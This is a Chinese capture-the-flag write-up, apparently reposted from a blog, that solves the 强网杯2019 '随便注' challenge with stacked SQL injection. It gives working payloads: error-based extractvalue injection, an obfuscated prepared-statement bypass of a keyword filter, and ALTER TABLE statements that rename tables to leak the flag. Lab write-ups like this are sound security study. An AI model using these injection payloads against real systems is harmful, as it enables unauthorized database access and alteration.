[强网杯2019]随便注 MySQL的SQL预处理(Prepared) MySQL的SQL预处理语句

考点:堆叠注入

原理:原来的语句构造完后加上分号,代表该语句结束。后面的语句就是一个新的sql语句。

条件:调用mysqli_multi_query()函数

  一般的mysqli_ query()函数仅支持一条查询

复现:

  经过常规操作,在联合查询时发现这题有大量的正则过滤

尝试绕过大小写,注释绕过都失败了

尝试报错注入,虽然能注出数据库版本等信息,但是select被过滤了,没办法查表

0' and (extractvalue(1,concat(0x7e,database(),0x7e)));#

堆叠注入:

0';show tables#

继续查:

0';show columns from `1919810931114514`;#

 但是查字段的话,select被过滤了

方法1:预编译

  payload:

0';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#

相关的知识点:

set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句

但是出现了这个

检测到了set prepare 但是strstr这个函数不区分大小写

0';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#

 学习链接:

mysql中Prepare、execute、deallocate的使用方法

MySQL 预处理语句prepare、execute、deallocate的使用

MySQL的SQL预处理(Prepared)

MySQL的SQL预处理语句

方法2:修改表名

猜测语句类似于:

select * from words where id = '';

我们将表1919810931114514名字改为words,flag列名字改为id,那么就能得到flag的内容了

0'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
拆开:
1'; alter table words rename to words1; alter table `1919810931114514` rename to words; alter table words change flag id varchar(50); #

然后使用 1' or 1=1#查字段

猜你喜欢

转载自www.cnblogs.com/tiaopidejun/p/12333170.html